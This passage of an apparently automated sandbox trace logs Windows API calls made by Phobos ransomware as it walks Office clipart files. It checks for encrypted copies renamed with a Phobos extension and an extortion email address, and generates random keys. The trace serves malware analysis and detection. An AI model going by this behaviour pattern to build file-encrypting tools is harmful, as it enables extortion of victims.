GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20906) returned 1 [0151.276] CloseHandle (hObject=0x564) returned 1 [0151.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 0x220 [0151.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.277] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.278] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14472) returned 1 [0151.278] CloseHandle (hObject=0x564) returned 1 [0151.278] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf")) returned 0x220 [0151.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.279] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.280] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6888) returned 1 [0151.281] CloseHandle (hObject=0x564) returned 1 [0151.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf")) returned 0x220 [0151.281] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.281] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.282] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7448) returned 1 [0151.282] CloseHandle (hObject=0x564) returned 1 [0151.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf")) returned 0x220 [0151.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.282] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.283] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7028) returned 1 [0151.283] CloseHandle (hObject=0x564) returned 1 [0151.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf")) returned 0x220 [0151.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.284] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.285] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12696) returned 1 [0151.285] CloseHandle (hObject=0x564) returned 1 [0151.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 0x220 [0151.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.285] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.325] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5864) returned 1 [0151.325] CloseHandle (hObject=0x564) returned 1 [0151.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf")) returned 0x220 [0151.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.326] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.479] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5100) returned 1 [0151.479] CloseHandle (hObject=0x564) returned 1 [0151.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 0x220 [0151.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.480] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.496] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24982) returned 1 [0151.496] CloseHandle (hObject=0x564) returned 1 [0151.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 0x220 [0151.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.496] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.496] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.510] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=46461) returned 1 [0151.510] CloseHandle (hObject=0x564) returned 1 [0151.510] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 0x220 [0151.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.513] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.514] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=45358) returned 1 [0151.514] CloseHandle (hObject=0x564) returned 1 [0151.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg")) returned 0x220 [0151.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.514] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.515] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=55554) returned 1 [0151.515] CloseHandle (hObject=0x564) returned 1 [0151.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg")) returned 0x220 [0151.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.520] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.524] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=36989) returned 1 [0151.524] CloseHandle (hObject=0x564) returned 1 [0151.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg")) returned 0x220 [0151.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.525] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.528] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29204) returned 1 [0151.528] CloseHandle (hObject=0x564) returned 1 [0151.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg")) returned 0x220 [0151.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.528] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.537] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=26531) returned 1 [0151.537] CloseHandle (hObject=0x564) returned 1 [0151.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg")) returned 0x220 [0151.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.538] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.542] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.545] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=24034) returned 1 [0151.545] CloseHandle (hObject=0x564) returned 1 [0151.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg")) returned 0x220 [0151.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.548] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0151.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.550] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23338) returned 1 [0151.550] CloseHandle (hObject=0x564) returned 1 [0151.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 0x220 [0151.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 